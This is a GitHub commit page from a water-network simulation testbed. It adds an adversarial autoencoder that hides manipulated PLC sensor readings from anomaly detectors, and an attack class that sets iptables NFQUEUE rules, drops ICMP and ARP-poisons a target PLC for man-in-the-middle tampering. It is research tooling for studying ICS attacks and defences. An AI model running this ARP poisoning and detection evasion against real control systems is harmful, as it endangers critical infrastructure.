-
Notifications
You must be signed in to change notification settings - Fork 25
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #37 from afmurillo/dev-paper
Merge to dev
- Loading branch information
Showing
73 changed files
with
5,952 additions
and
114 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,150 @@ | ||
import time | ||
|
||
from tensorflow.keras.layers import Input, Dense, Activation, BatchNormalization, Lambda | ||
from tensorflow.keras.models import Model, load_model | ||
from tensorflow.keras.optimizers import Adam | ||
from tensorflow.keras.callbacks import EarlyStopping, ReduceLROnPlateau | ||
from sklearn.preprocessing import MinMaxScaler | ||
from tensorflow.keras.initializers import glorot_normal | ||
|
||
from sklearn.model_selection import train_test_split | ||
import numpy as np | ||
import pandas as pd | ||
|
||
|
||
# This module was developed by Alessandro Erba, the original is found here: | ||
# https://github.com/scy-phy/ICS-Evasion-Attacks/blob/master/Adversarial_Attacks/Black_Box_Attack/adversarial_AE.py | ||
|
||
class Adversarial_AE: | ||
|
||
def __init__(self, feature_dims, hide_layers): | ||
# define parameters | ||
self.attacker_scaler = MinMaxScaler() | ||
self.feature_dims = feature_dims | ||
self.hide_layers = hide_layers | ||
self.generator_layers = [self.feature_dims, int(self.hide_layers / | ||
2), self.hide_layers, int(self.hide_layers/2), self.feature_dims] | ||
optimizer = Adam(lr=0.001) | ||
|
||
# Build the generator | ||
self.generator = self.build_generator() | ||
self.generator.compile(optimizer=optimizer, loss='mean_squared_error') | ||
|
||
def build_generator(self): | ||
input = Input(shape=(self.feature_dims,)) | ||
x = input | ||
for dim in self.generator_layers[1:]: | ||
x = Dense(dim, activation='sigmoid', | ||
kernel_initializer=glorot_normal(seed=12345))(x) | ||
generator = Model(input, x, name='generator') | ||
|
||
return generator | ||
|
||
def train_advAE(self, ben_data, xset): | ||
ben_data[xset] = self.attacker_scaler.transform( | ||
ben_data[xset]) | ||
x_ben = pd.DataFrame(index=ben_data.index, | ||
columns=xset, data=ben_data[xset]) | ||
x_ben_train, x_ben_test, _, _ = train_test_split( | ||
x_ben, x_ben, test_size=0.33, random_state=42) | ||
earlyStopping = EarlyStopping( | ||
monitor='val_loss', patience=3, verbose=0, min_delta=1e-4, mode='auto') | ||
lr_reduced = ReduceLROnPlateau( | ||
monitor='val_loss', factor=0.5, patience=1, verbose=0, min_delta=1e-4, mode='min') | ||
print(self.generator.summary()) | ||
self.generator.fit(x_ben_train, x_ben_train, | ||
epochs=500, | ||
batch_size=64, | ||
shuffle=False, | ||
callbacks=[earlyStopping, lr_reduced], | ||
verbose=2, | ||
validation_data=(x_ben_test, x_ben_test)) | ||
|
||
|
||
def fix_sample(self, gen_examples, dataset): | ||
""" | ||
Adjust discrete actuators values to the nearest allowed value | ||
Parameters | ||
---------- | ||
gen_examples : Pandas Dataframe | ||
adversarial examples that needs to be adjusted | ||
dataset : string | ||
name of the dataset the data come from to select the correct strategy | ||
Returns | ||
------- | ||
pandas DataFrame | ||
adversarial examples with distrete values adjusted | ||
""" | ||
if dataset == 'BATADAL': | ||
list_pump_status = list(gen_examples.filter( | ||
regex='STATUS_PU[0-9]|STATUS_V[0-9]').columns) | ||
|
||
for j, _ in gen_examples.iterrows(): | ||
for i in list_pump_status: #list(gen_examples.columns[31:43]): | ||
if gen_examples.at[j, i] > 0.5: | ||
gen_examples.at[j, i] = 1 | ||
else: | ||
gen_examples.at[j, i] = 0 | ||
gen_examples.at[j, i.replace('STATUS', 'FLOW')] = 0 #gen_examples.columns[( | ||
# gen_examples.columns.get_loc(i)) - 12]] = 0 | ||
|
||
return gen_examples | ||
|
||
def decide_concealment(self, n, binary_dataframe, gen_examples, original_examples, xset): | ||
""" | ||
Conceal only n variables among the modified ones by the autoencoder | ||
computes the squared error between original and concealed sample and forward only the first n wrongly reconstructed | ||
Parameters | ||
---------- | ||
n : int | ||
number of variables to be forwarded concealed | ||
gen_examples : Pandas Dataframe | ||
concealed tuples by the autoencoder | ||
original_examples : Pandas Dataframe | ||
original tuples | ||
Returns | ||
------- | ||
pandas series | ||
concealed tuple with exactly n concealed sensor readings | ||
pandas DataFrame | ||
one hot encoded table keeping track of which of the n variables have been manipulated | ||
""" | ||
for j in range(0, len(gen_examples)): | ||
distance = (original_examples.iloc[j] - gen_examples.iloc[j]) | ||
distance = np.sqrt(distance**2) | ||
distance = distance.sort_values(ascending=False) | ||
distance = distance.drop(distance.index[n:]) | ||
binary_row = pd.DataFrame( | ||
index=[distance.name], columns=xset, data=0) | ||
for elem in distance.keys(): | ||
binary_row.loc[distance.name, elem] = 1 | ||
binary_dataframe = binary_dataframe.append(binary_row) | ||
for col, _ in distance.iteritems(): | ||
original_examples.at[j, col] = gen_examples.at[j, col] | ||
|
||
return original_examples.values, binary_dataframe | ||
|
||
def conceal_fixed(self, constraints, gen_examples, original_examples): | ||
""" | ||
Conceal only n variables according to the list of allowed ones. | ||
Parameters | ||
---------- | ||
constraints : list | ||
list of sensor values that can be changed | ||
gen_examples : Pandas Dataframe | ||
concealed tuples by the autoencoder | ||
original_examples : Pandas Dataframe | ||
original tuples | ||
Returns | ||
------- | ||
pandas series | ||
adversarial examples with the allowed concealed sensor readings | ||
""" | ||
for j in range(0, len(gen_examples)): | ||
#print(constraints) | ||
#print(original_examples.iloc[j]) | ||
for col in constraints: | ||
original_examples.at[j, col] = gen_examples.at[j, col] | ||
#print(original_examples.iloc[j]) | ||
return original_examples.values |
176 changes: 176 additions & 0 deletions
176
dhalsim/network_attacks/black_box_concealment_attack.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,176 @@ | ||
import numpy as np | ||
import pandas as pd | ||
|
||
import argparse | ||
import os | ||
from pathlib import Path | ||
import subprocess | ||
import sys | ||
import signal | ||
import os | ||
import time | ||
|
||
from dhalsim.network_attacks.utilities import launch_arp_poison, restore_arp | ||
from dhalsim.network_attacks.synced_attack import SyncedAttack | ||
from evasion_attacks.Adversarial_Attacks.Black_Box_Attack import adversarial_AE | ||
|
||
from tensorflow.keras.models import Model, load_model | ||
|
||
|
||
class Error(Exception): | ||
"""Base class for exceptions in this module.""" | ||
|
||
|
||
class DirectionError(Error): | ||
"""Raised when the optional parameter direction does not have source or destination as value""" | ||
|
||
|
||
class UnconstrainedBlackBox(SyncedAttack): | ||
""" | ||
todo | ||
:param intermediate_yaml_path: The path to the intermediate YAML file | ||
:param yaml_index: The index of the attack in the intermediate YAML | ||
""" | ||
|
||
NETFILTERQUEUE_SUBPROCESS_TIMEOUT = 3 | ||
""" Timeout to wait for the netfilter subprocess to be finished""" | ||
|
||
def __init__(self, intermediate_yaml_path: Path, yaml_index: int): | ||
|
||
# sync in this attack needs to be hanlded by the netfilterqueue. This value will be changed after we | ||
# launch the netfilterqueue process | ||
sync = True | ||
super().__init__(intermediate_yaml_path, yaml_index, sync) | ||
os.system('sysctl net.ipv4.ip_forward=1') | ||
|
||
if self.intermediate_attack['persistent'] == 'True': | ||
self.persistent = True | ||
else: | ||
self.persistent = False | ||
|
||
# Process object to handle nfqueue | ||
self.nfqueue_process = None | ||
|
||
|
||
def setup(self): | ||
""" | ||
This function start the network attack. | ||
It first sets up the iptables on the attacker node to capture the tcp packets coming from | ||
the target PLC. It also drops the icmp packets, to avoid network packets skipping the | ||
attacker node. | ||
Afterwards it launches the ARP poison, which basically tells the network that the attacker | ||
is the PLC, and it tells the PLC that the attacker is the router. | ||
Finally, it launches the thread that will examine all captured packets. | ||
""" | ||
self.modify_ip_tables(True) | ||
|
||
queue_number = 1 | ||
nfqueue_path = Path(__file__).parent.absolute() / "unconstrained_blackbox_netfilter_queue.py" | ||
cmd = ["python3", str(nfqueue_path), str(self.intermediate_yaml_path), str(self.yaml_index), str(queue_number)] | ||
|
||
self.sync = False | ||
self.nfqueue_process = subprocess.Popen(cmd, shell=False, stderr=sys.stderr, stdout=sys.stdout) | ||
|
||
# Launch the ARP poison by sending the required ARP network packets | ||
launch_arp_poison(self.target_plc_ip, self.intermediate_attack['gateway_ip']) | ||
if self.intermediate_yaml['network_topology_type'] == "simple": | ||
for plc in self.intermediate_yaml['plcs']: | ||
if plc['name'] != self.intermediate_plc['name']: | ||
launch_arp_poison(self.target_plc_ip, plc['local_ip']) | ||
|
||
self.logger.debug(f"Concealment MITM Attack ARP Poison between {self.target_plc_ip} and " | ||
f"{self.intermediate_attack['gateway_ip']}") | ||
|
||
def interrupt(self): | ||
""" | ||
This function will be called when we want to stop the attacker. It calls the teardown | ||
function if the attacker is in state 1 (running) | ||
""" | ||
if self.state == 1: | ||
self.teardown() | ||
|
||
def teardown(self): | ||
""" | ||
This function will undo the actions done by the setup function. | ||
It first restores the arp poison, to point to the original router and PLC again. Afterwards | ||
it will delete the iptable rules and stop the thread. | ||
""" | ||
restore_arp(self.target_plc_ip, self.intermediate_attack['gateway_ip']) | ||
if self.intermediate_yaml['network_topology_type'] == "simple": | ||
for plc in self.intermediate_yaml['plcs']: | ||
if plc['name'] != self.intermediate_plc['name']: | ||
restore_arp(self.target_plc_ip, plc['local_ip']) | ||
|
||
self.logger.debug(f"MITM Attack ARP Restore between {self.target_plc_ip} and " | ||
f"{self.intermediate_attack['gateway_ip']}") | ||
|
||
self.modify_ip_tables(False) | ||
self.logger.debug(f"Restored ARP") | ||
|
||
self.logger.debug("Stopping nfqueue subprocess...") | ||
self.nfqueue_process.send_signal(signal.SIGINT) | ||
|
||
try: | ||
self.nfqueue_process.wait(self.NETFILTERQUEUE_SUBPROCESS_TIMEOUT) | ||
except subprocess.TimeoutExpired as e: | ||
self.logger.debug('TimeoutExpire: ' + str(e)) | ||
if self.nfqueue_process.poll() is None: | ||
self.nfqueue_process.terminate() | ||
if self.nfqueue_process.poll() is None: | ||
self.nfqueue_process.kill() | ||
|
||
self.logger.debug("Stopped nfqueue subprocess") | ||
|
||
def attack_step(self): | ||
"""Polls the NetFilterQueue subprocess and sends a signal to stop it when teardown is called""" | ||
#todo: Here we would connect to the adversarial model? | ||
pass | ||
|
||
|
||
@staticmethod | ||
def modify_ip_tables(append=True): | ||
|
||
if append: | ||
os.system(f'iptables -t mangle -A PREROUTING -p tcp -j NFQUEUE --queue-num 1') | ||
|
||
os.system('iptables -A FORWARD -p icmp -j DROP') | ||
os.system('iptables -A INPUT -p icmp -j DROP') | ||
os.system('iptables -A OUTPUT -p icmp -j DROP') | ||
else: | ||
|
||
os.system(f'iptables -t mangle -D INPUT -p tcp -j NFQUEUE --queue-num 1') | ||
os.system(f'iptables -t mangle -D FORWARD -p tcp -j NFQUEUE --queue-num 1') | ||
|
||
os.system('iptables -D FORWARD -p icmp -j DROP') | ||
os.system('iptables -D INPUT -p icmp -j DROP') | ||
os.system('iptables -D OUTPUT -p icmp -j DROP') | ||
|
||
def is_valid_file(parser_instance, arg): | ||
"""Verifies whether the intermediate yaml path is valid.""" | ||
if not os.path.exists(arg): | ||
parser_instance.error(arg + " does not exist") | ||
else: | ||
return arg | ||
|
||
|
||
if __name__ == "__main__": | ||
parser = argparse.ArgumentParser(description='Start an unconstrained black box attack ') | ||
parser.add_argument(dest="intermediate_yaml", | ||
help="intermediate yaml file", metavar="FILE", | ||
type=lambda x: is_valid_file(parser, x)) | ||
parser.add_argument(dest="index", help="Index of the network attack in intermediate yaml", | ||
type=int, | ||
metavar="N") | ||
|
||
args = parser.parse_args() | ||
|
||
attack = UnconstrainedBlackBox( | ||
intermediate_yaml_path=Path(args.intermediate_yaml), | ||
yaml_index=args.index) | ||
|
||
attack.main_loop(attack.persistent) |
Oops, something went wrong.